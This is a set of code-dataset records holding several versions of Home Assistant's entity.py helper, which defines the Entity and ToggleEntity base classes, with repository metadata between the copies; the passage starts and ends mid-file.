supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
_LOGGER.warning("Updating state for %s (%s) took %.3f seconds. "
"Please report platform to the developers at "
"https://goo.gl/Nvioub", self.entity_id,
type(self), end - start)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT) and
unit_of_measure != units.temperature_unit):
prec = len(state) - state.index('.') - 1 if '.' in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (self._context is not None and
dt_util.utcnow() - self._context_set >
self.context_recent_time):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context)
def schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
That avoid executor dead looks.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh))
@callback
def async_schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task."""
self.hass.async_add_job(self.async_update_ha_state(force_refresh))
async def async_device_update(self, warning=True):
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
await self.parallel_updates.acquire()
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING, _LOGGER.warning,
"Update of %s is taking over %s seconds", self.entity_id,
SLOW_UPDATE_WARNING
)
try:
# pylint: disable=no-member
if hasattr(self, 'async_update'):
await self.async_update()
elif hasattr(self, 'update'):
await self.hass.async_add_executor_job(self.update)
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func):
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_remove(self):
"""Remove entity from Home Assistant."""
await self.async_will_remove_from_hass()
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
self.hass.states.async_remove(self.entity_id)
@callback
def async_registry_updated(self, old, new):
"""Handle entity registry update."""
self.registry_name = new.name
if new.entity_id == self.entity_id:
self.async_schedule_update_ha_state()
return
async def readd():
"""Remove and add entity again."""
await self.async_remove()
await self.platform.async_add_entities([self])
self.hass.async_create_task(readd())
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass."""
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass."""
def __eq__(self, other):
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def async_turn_on(self, **kwargs):
"""Turn the entity on.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def async_turn_off(self, **kwargs):
"""Turn the entity off.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
def async_toggle(self, **kwargs):
"""Toggle the entity.
This method must be run in the event loop and returns a coroutine.
"""
if self.is_on:
return self.async_turn_off(**kwargs)
return self.async_turn_on(**kwargs)
| {
"repo_name": "tinloaf/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "15062",
"license": "apache-2.0",
"hash": 5708169136893880000,
"line_mean": 30.9787685775,
"line_max": 79,
"alpha_frac": 0.5986588766,
"autogenerated": false,
"ratio": 4.303428571428571,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 471
} |
"""An abstract class for entities."""
from __future__ import annotations
from abc import ABC
import asyncio
from collections.abc import Awaitable, Iterable, Mapping
from datetime import datetime, timedelta
import functools as ft
import logging
import math
import sys
from timeit import default_timer as timer
from typing import Any, TypedDict, final
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.const import (
ATTR_ASSUMED_STATE,
ATTR_DEVICE_CLASS,
ATTR_ENTITY_PICTURE,
ATTR_FRIENDLY_NAME,
ATTR_ICON,
ATTR_SUPPORTED_FEATURES,
ATTR_UNIT_OF_MEASUREMENT,
DEVICE_DEFAULT_NAME,
STATE_OFF,
STATE_ON,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
TEMP_CELSIUS,
TEMP_FAHRENHEIT,
)
from homeassistant.core import CALLBACK_TYPE, Context, HomeAssistant, callback
from homeassistant.exceptions import HomeAssistantError, NoEntitySpecifiedError
from homeassistant.helpers import entity_registry as er
from homeassistant.helpers.entity_platform import EntityPlatform
from homeassistant.helpers.entity_registry import RegistryEntry
from homeassistant.helpers.event import Event, async_track_entity_registry_updated_event
from homeassistant.helpers.typing import StateType
from homeassistant.loader import bind_hass
from homeassistant.util import dt as dt_util, ensure_unique_string, slugify
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
DATA_ENTITY_SOURCE = "entity_info"
SOURCE_CONFIG_ENTRY = "config_entry"
SOURCE_PLATFORM_CONFIG = "platform_config"
# Used when converting float states to string: limit precision according to machine
# epsilon to make the string representation readable
FLOAT_PRECISION = abs(int(math.floor(math.log10(abs(sys.float_info.epsilon))))) - 1
@callback
@bind_hass
def entity_sources(hass: HomeAssistant) -> dict[str, dict[str, str]]:
"""Get the entity sources."""
return hass.data.get(DATA_ENTITY_SOURCE, {})
def generate_entity_id(
entity_id_format: str,
name: str | None,
current_ids: list[str] | None = None,
hass: HomeAssistant | None = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
return async_generate_entity_id(entity_id_format, name, current_ids, hass)
@callback
def async_generate_entity_id(
entity_id_format: str,
name: str | None,
current_ids: Iterable[str] | None = None,
hass: HomeAssistant | None = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
preferred_string = entity_id_format.format(slugify(name))
if current_ids is not None:
return ensure_unique_string(preferred_string, current_ids)
if hass is None:
raise ValueError("Missing required parameter current_ids or hass")
test_string = preferred_string
tries = 1
while not hass.states.async_available(test_string):
tries += 1
test_string = f"{preferred_string}_{tries}"
return test_string
def get_supported_features(hass: HomeAssistant, entity_id: str) -> int:
"""Get supported features for an entity.
First try the statemachine, then entity registry.
"""
state = hass.states.get(entity_id)
if state:
return state.attributes.get(ATTR_SUPPORTED_FEATURES, 0)
entity_registry = er.async_get(hass)
entry = entity_registry.async_get(entity_id)
if not entry:
raise HomeAssistantError(f"Unknown entity {entity_id}")
return entry.supported_features or 0
class DeviceInfo(TypedDict, total=False):
"""Entity device information for device registry."""
name: str
connections: set[tuple[str, str]]
identifiers: set[tuple[str, str]]
manufacturer: str
model: str
suggested_area: str
sw_version: str
via_device: tuple[str, str]
entry_type: str | None
default_name: str
default_manufacturer: str
default_model: str
class Entity(ABC):
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id: str = None # type: ignore
# Owning hass instance. Will be set by EntityPlatform
# While not purely typed, it makes typehinting more useful for us
# and removes the need for constant None checks or asserts.
hass: HomeAssistant = None # type: ignore
# Owning platform instance. Will be set by EntityPlatform
platform: EntityPlatform | None = None
# If we reported if this entity was slow
_slow_reported = False
# If we reported this entity is updated while disabled
_disabled_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates: asyncio.Semaphore | None = None
# Entry in the entity registry
registry_entry: RegistryEntry | None = None
# Hold list for functions to call on remove.
_on_remove: list[CALLBACK_TYPE] | None = None
# Context
_context: Context | None = None
_context_set: datetime | None = None
# If entity is added to an entity platform
_added = False
# Entity Properties
_attr_assumed_state: bool = False
_attr_available: bool = True
_attr_context_recent_time: timedelta = timedelta(seconds=5)
_attr_device_class: str | None = None
_attr_device_info: DeviceInfo | None = None
_attr_entity_picture: str | None = None
_attr_entity_registry_enabled_default: bool = True
_attr_extra_state_attributes: Mapping[str, Any] | None = None
_attr_force_update: bool = False
_attr_icon: str | None = None
_attr_name: str | None = None
_attr_should_poll: bool = True
_attr_state: StateType = STATE_UNKNOWN
_attr_supported_features: int | None = None
_attr_unique_id: str | None = None
_attr_unit_of_measurement: str | None = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return self._attr_should_poll
@property
def unique_id(self) -> str | None:
"""Return a unique ID."""
return self._attr_unique_id
@property
def name(self) -> str | None:
"""Return the name of the entity."""
return self._attr_name
@property
def state(self) -> StateType:
"""Return the state of the entity."""
return self._attr_state
@property
def capability_attributes(self) -> Mapping[str, Any] | None:
"""Return the capability attributes.
Attributes that explain the capabilities of an entity.
Implemented by component base class. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def state_attributes(self) -> dict[str, Any] | None:
"""Return the state attributes.
Implemented by component base class, should not be extended by integrations.
Convention for attribute names is lowercase snake_case.
"""
return None
@property
def device_state_attributes(self) -> Mapping[str, Any] | None:
"""Return entity specific state attributes.
This method is deprecated, platform classes should implement
extra_state_attributes instead.
"""
return None
@property
def extra_state_attributes(self) -> Mapping[str, Any] | None:
"""Return entity specific state attributes.
Implemented by platform classes. Convention for attribute names
is lowercase snake_case.
"""
return self._attr_extra_state_attributes
@property
def device_info(self) -> DeviceInfo | None:
"""Return device specific attributes.
Implemented by platform classes.
"""
return self._attr_device_info
@property
def device_class(self) -> str | None:
"""Return the class of this device, from component DEVICE_CLASSES."""
return self._attr_device_class
@property
def unit_of_measurement(self) -> str | None:
"""Return the unit of measurement of this entity, if any."""
return self._attr_unit_of_measurement
@property
def icon(self) -> str | None:
"""Return the icon to use in the frontend, if any."""
return self._attr_icon
@property
def entity_picture(self) -> str | None:
"""Return the entity picture to use in the frontend, if any."""
return self._attr_entity_picture
@property
def available(self) -> bool:
"""Return True if entity is available."""
return self._attr_available
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return self._attr_assumed_state
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return self._attr_force_update
@property
def supported_features(self) -> int | None:
"""Flag supported features."""
return self._attr_supported_features
@property
def context_recent_time(self) -> timedelta:
"""Time that a context is considered recent."""
return self._attr_context_recent_time
@property
def entity_registry_enabled_default(self) -> bool:
"""Return if the entity should be enabled when first added to the entity registry."""
return self._attr_entity_registry_enabled_default
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@property
def enabled(self) -> bool:
"""Return if the entity is enabled in the entity registry.
If an entity is not part of the registry, it cannot be disabled
and will therefore always be enabled.
"""
return self.registry_entry is None or not self.registry_entry.disabled
@callback
def async_set_context(self, context: Context) -> None:
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
async def async_update_ha_state(self, force_refresh: bool = False) -> None:
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
# update entity data
if force_refresh:
try:
await self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
self._async_write_ha_state()
@callback
def async_write_ha_state(self) -> None:
"""Write the state to the state machine."""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
self._async_write_ha_state()
def _stringify_state(self) -> str:
"""Convert state to string."""
if not self.available:
return STATE_UNAVAILABLE
state = self.state
if state is None:
return STATE_UNKNOWN
if isinstance(state, float):
# If the entity's state is a float, limit precision according to machine
# epsilon to make the string representation readable
return f"{state:.{FLOAT_PRECISION}}"
return str(state)
@callback
def _async_write_ha_state(self) -> None:
"""Write the state to the state machine."""
if self.registry_entry and self.registry_entry.disabled_by:
if not self._disabled_reported:
self._disabled_reported = True
assert self.platform is not None
_LOGGER.warning(
"Entity %s is incorrectly being triggered for updates while it is disabled. This is a bug in the %s integration",
self.entity_id,
self.platform.platform_name,
)
return
start = timer()
attr = self.capability_attributes
attr = dict(attr) if attr else {}
state = self._stringify_state()
if self.available:
attr.update(self.state_attributes or {})
extra_state_attributes = self.extra_state_attributes
# Backwards compatibility for "device_state_attributes" deprecated in 2021.4
# Add warning in 2021.6, remove in 2021.10
if extra_state_attributes is None:
extra_state_attributes = self.device_state_attributes
attr.update(extra_state_attributes or {})
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
entry = self.registry_entry
# pylint: disable=consider-using-ternary
name = (entry and entry.name) or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = (entry and entry.icon) or self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
extra = ""
if "custom_components" in type(self).__module__:
extra = "Please report it to the custom component author."
else:
extra = (
"Please create a bug report at "
"https://github.com/home-assistant/core/issues?q=is%3Aopen+is%3Aissue"
)
if self.platform:
extra += (
f"+label%3A%22integration%3A+{self.platform.platform_name}%22"
)
_LOGGER.warning(
"Updating state for %s (%s) took %.3f seconds. %s",
self.entity_id,
type(self),
end - start,
extra,
)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (
unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT)
and unit_of_measure != units.temperature_unit
):
prec = len(state) - state.index(".") - 1 if "." in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (
self._context_set is not None
and dt_util.utcnow() - self._context_set > self.context_recent_time
):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context
)
def schedule_update_ha_state(self, force_refresh: bool = False) -> None:
"""Schedule an update ha state change task.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh)) # type: ignore
@callback
def async_schedule_update_ha_state(self, force_refresh: bool = False) -> None:
"""Schedule an update ha state change task.
This method must be run in the event loop.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
if force_refresh:
self.hass.async_create_task(self.async_update_ha_state(force_refresh))
else:
self.async_write_ha_state()
async def async_device_update(self, warning: bool = True) -> None:
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
await self.parallel_updates.acquire()
try:
# pylint: disable=no-member
if hasattr(self, "async_update"):
task = self.hass.async_create_task(self.async_update()) # type: ignore
elif hasattr(self, "update"):
task = self.hass.async_add_executor_job(self.update) # type: ignore
else:
return
if not warning:
await task
return
finished, _ = await asyncio.wait([task], timeout=SLOW_UPDATE_WARNING)
for done in finished:
exc = done.exception()
if exc:
raise exc
return
_LOGGER.warning(
"Update of %s is taking over %s seconds",
self.entity_id,
SLOW_UPDATE_WARNING,
)
await task
finally:
self._update_staged = False
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func: CALLBACK_TYPE) -> None:
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_removed_from_registry(self) -> None:
"""Run when entity has been removed from entity registry.
To be extended by integrations.
"""
@callback
def add_to_platform_start(
self,
hass: HomeAssistant,
platform: EntityPlatform,
parallel_updates: asyncio.Semaphore | None,
) -> None:
"""Start adding an entity to a platform."""
if self._added:
raise HomeAssistantError(
f"Entity {self.entity_id} cannot be added a second time to an entity platform"
)
self.hass = hass
self.platform = platform
self.parallel_updates = parallel_updates
self._added = True
@callback
def add_to_platform_abort(self) -> None:
"""Abort adding an entity to a platform."""
self.hass = None # type: ignore
self.platform = None
self.parallel_updates = None
self._added = False
async def add_to_platform_finish(self) -> None:
"""Finish adding an entity to a platform."""
await self.async_internal_added_to_hass()
await self.async_added_to_hass()
self.async_write_ha_state()
async def async_remove(self, *, force_remove: bool = False) -> None:
"""Remove entity from Home Assistant.
If the entity has a non disabled entry in the entity registry,
the entity's state will be set to unavailable, in the same way
as when the entity registry is loaded.
If the entity doesn't have a non disabled entry in the entity registry,
or if force_remove=True, its state will be removed.
"""
if self.platform and not self._added:
raise HomeAssistantError(
f"Entity {self.entity_id} async_remove called twice"
)
self._added = False
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
await self.async_internal_will_remove_from_hass()
await self.async_will_remove_from_hass()
# Check if entry still exists in entity registry (e.g. unloading config entry)
if (
not force_remove
and self.registry_entry
and not self.registry_entry.disabled
):
# Set the entity's state will to unavailable + ATTR_RESTORED: True
self.registry_entry.write_unavailable_state(self.hass)
else:
self.hass.states.async_remove(self.entity_id, context=self._context)
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
To be extended by integrations.
"""
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
To be extended by integrations.
"""
async def async_internal_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
Not to be extended by integrations.
"""
if self.platform:
info = {"domain": self.platform.platform_name}
if self.platform.config_entry:
info["source"] = SOURCE_CONFIG_ENTRY
info["config_entry"] = self.platform.config_entry.entry_id
else:
info["source"] = SOURCE_PLATFORM_CONFIG
self.hass.data.setdefault(DATA_ENTITY_SOURCE, {})[self.entity_id] = info
if self.registry_entry is not None:
# This is an assert as it should never happen, but helps in tests
assert (
not self.registry_entry.disabled_by
), f"Entity {self.entity_id} is being added while it's disabled"
self.async_on_remove(
async_track_entity_registry_updated_event(
self.hass, self.entity_id, self._async_registry_updated
)
)
async def async_internal_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
Not to be extended by integrations.
"""
if self.platform:
self.hass.data[DATA_ENTITY_SOURCE].pop(self.entity_id)
async def _async_registry_updated(self, event: Event) -> None:
"""Handle entity registry update."""
data = event.data
if data["action"] == "remove":
await self.async_removed_from_registry()
self.registry_entry = None
await self.async_remove()
if data["action"] != "update":
return
ent_reg = await self.hass.helpers.entity_registry.async_get_registry()
old = self.registry_entry
self.registry_entry = ent_reg.async_get(data["entity_id"])
assert self.registry_entry is not None
if self.registry_entry.disabled:
await self.async_remove()
return
assert old is not None
if self.registry_entry.entity_id == old.entity_id:
self.async_write_ha_state()
return
await self.async_remove(force_remove=True)
assert self.platform is not None
self.entity_id = self.registry_entry.entity_id
await self.platform.async_add_entities([self])
def __eq__(self, other: Any) -> bool:
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self) -> str:
"""Return the representation."""
return f"<Entity {self.name}: {self.state}>"
async def async_request_call(self, coro: Awaitable) -> None:
"""Process request batched."""
if self.parallel_updates:
await self.parallel_updates.acquire()
try:
await coro
finally:
if self.parallel_updates:
self.parallel_updates.release()
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
_attr_is_on: bool
_attr_state: None = None
@property
@final
def state(self) -> str | None:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
return self._attr_is_on
def turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
raise NotImplementedError()
async def async_turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
await self.hass.async_add_executor_job(ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
raise NotImplementedError()
async def async_turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
await self.hass.async_add_executor_job(ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
async def async_toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
await self.async_turn_off(**kwargs)
else:
await self.async_turn_on(**kwargs)
| {
"repo_name": "kennedyshead/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "27352",
"license": "apache-2.0",
"hash": 3486859608159590000,
"line_mean": 32.7262638718,
"line_max": 133,
"alpha_frac": 0.6125329044,
"autogenerated": false,
"ratio": 4.252487562189055,
"config_test": true,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.00031031264838961807,
"num_lines": 811
} |
"""An abstract class for entities."""
import asyncio
from datetime import timedelta
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Optional, List, Iterable
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE, ATTR_SUPPORTED_FEATURES, ATTR_DEVICE_CLASS)
from homeassistant.core import HomeAssistant, callback
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async_ import run_callback_threadsafe
from homeassistant.util import dt as dt_util
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]] = None,
hass: Optional[HomeAssistant] = None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (slugify(name) or slugify(DEVICE_DEFAULT_NAME)).lower()
return ensure_unique_string(
entity_id_format.format(name), current_ids)
@callback
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[Iterable[str]] = None,
hass: Optional[HomeAssistant] = None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
class Entity:
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityPlatform
hass = None # type: Optional[HomeAssistant]
# Owning platform instance. Will be set by EntityPlatform
platform = None
# If we reported if this entity was slow
_slow_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates = None
# Name in the entity registry
registry_name = None
# Hold list for functions to call on remove.
_on_remove = None
# Context
_context = None
_context_set = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return a unique ID."""
return None
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def device_info(self):
"""Return device specific attributes.
Implemented by platform classes.
"""
return None
@property
def device_class(self) -> str:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> int:
"""Flag supported features."""
return None
@property
def context_recent_time(self):
"""Time that a context is considered recent."""
return timedelta(seconds=5)
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@callback
def async_set_context(self, context):
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
@asyncio.coroutine
def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
# update entity data
if force_refresh:
try:
yield from self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
start = timer()
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
else:
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
name = self.registry_name or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
hidden = self.hidden
if hidden:
attr[ATTR_HIDDEN] = hidden
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
_LOGGER.warning("Updating state for %s (%s) took %.3f seconds. "
"Please report platform to the developers at "
"https://goo.gl/Nvioub", self.entity_id,
type(self), end - start)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT) and
unit_of_measure != units.temperature_unit):
prec = len(state) - state.index('.') - 1 if '.' in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (self._context is not None and
dt_util.utcnow() - self._context_set >
self.context_recent_time):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context)
def schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
That avoid executor dead looks.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh))
@callback
def async_schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task."""
self.hass.async_add_job(self.async_update_ha_state(force_refresh))
@asyncio.coroutine
def async_device_update(self, warning=True):
